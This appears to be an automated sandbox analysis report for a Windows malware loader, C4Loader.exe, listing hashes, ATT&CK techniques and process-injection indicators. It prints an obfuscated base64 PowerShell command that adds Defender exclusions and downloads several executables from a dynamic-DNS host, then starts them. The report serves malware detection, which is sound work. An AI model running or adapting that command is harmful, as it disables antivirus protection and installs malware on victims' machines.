3c9481224a7c8ba107be9850b1cb62159867a780c1afcf75bb4a47bdbf042bc2

General

Target

C4Loader.exe
Size

126KB
MD5

fe189d6f17ac70da642777a955b699cc
SHA1

6dd9ab32e1bcc97bacee5d55498d78478e28a489
SHA256

3c9481224a7c8ba107be9850b1cb62159867a780c1afcf75bb4a47bdbf042bc2
SHA512

20379862c6253ade42ba5d5cc6fe6c40d4a15d85fe48514670381199a5aaf5c705a640e0749f4c00f38b58b909b33a02ccca338bc81a7b080e078b6bb8a2cb9f
SSDEEP

3072:vbQwc8GhRcGlcxE7Gi5NPf5uE5E6fRyF3HfPbGmX2w3KyPzapXc:vbJsFl26f5s6f+G63KyPz+Xc

Score

7^/10

Malware Config

Signatures

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Suspicious use of SetThreadContext 1 IoCs

Processes:

C4Loader.exe

description pid process target process

PID 1476 set thread context of 1356 1476 C4Loader.exe vbc.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

944 1476 WerFault.exe C4Loader.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

852 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 852 powershell.exe

description	pid	process	target process
PID 1476 set thread context of 1356	1476	C4Loader.exe	vbc.exe

pid	pid_target	process	target process
944	1476	WerFault.exe	C4Loader.exe

pid	process
852	powershell.exe

description	pid	process
Token: SeDebugPrivilege	852	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

C4Loader.exevbc.exe

description	pid	process	target process
PID 1476 wrote to memory of 1356	1476	C4Loader.exe	vbc.exe
PID 1476 wrote to memory of 1356	1476	C4Loader.exe	vbc.exe
PID 1476 wrote to memory of 1356	1476	C4Loader.exe	vbc.exe
PID 1476 wrote to memory of 1356	1476	C4Loader.exe	vbc.exe
PID 1476 wrote to memory of 1356	1476	C4Loader.exe	vbc.exe
PID 1476 wrote to memory of 1356	1476	C4Loader.exe	vbc.exe
PID 1476 wrote to memory of 944	1476	C4Loader.exe	WerFault.exe
PID 1476 wrote to memory of 944	1476	C4Loader.exe	WerFault.exe
PID 1476 wrote to memory of 944	1476	C4Loader.exe	WerFault.exe
PID 1476 wrote to memory of 944	1476	C4Loader.exe	WerFault.exe
PID 1356 wrote to memory of 852	1356	vbc.exe	powershell.exe
PID 1356 wrote to memory of 852	1356	vbc.exe	powershell.exe
PID 1356 wrote to memory of 852	1356	vbc.exe	powershell.exe
PID 1356 wrote to memory of 852	1356	vbc.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1476

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:1356

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AcgBwACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBnAHQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBiAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQBlAHAAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACwAIAA8ACMAZQB0AHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBlAHkAagAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAGcAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAKQA8ACMAZQB0AHMAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGQAZABuAHMALgBuAGUAdAAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAG4AZQB3ADIALgBlAHgAZQAnACwAIAA8ACMAcgBiAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBoAHAAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBsAGUAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBuAGUAdwAyAC4AZQB4AGUAJwApACkAPAAjAGYAaAB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBsAHAAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHkAcwBjACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAbQB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAG4AdABrACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAegB6AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB5AGgAbAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAHgAcgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcQB4AHoAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAagB0AG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAYwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQA8ACMAaABxAGgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBnAGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAawB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAGsAcgBwACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAbQByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAZgBiAGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABmAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAaQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQA8ACMAYgBwAHMAIwA+AA=="
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1476 -s 48
2⤵
- Program crash
PID:944

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

1

T1064

Persistence

Privilege Escalation

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/852-66-0x0000000000000000-mapping.dmp

Download
memory/852-68-0x0000000073B50000-0x00000000740FB000-memory.dmp

Filesize
5.7MB

Download
memory/852-69-0x0000000073B50000-0x00000000740FB000-memory.dmp

Filesize
5.7MB

Download
memory/944-65-0x0000000000000000-mapping.dmp

Download
memory/1356-54-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1356-56-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1356-62-0x0000000000401159-mapping.dmp

Download
memory/1356-64-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1356-63-0x0000000076701000-0x0000000076703000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing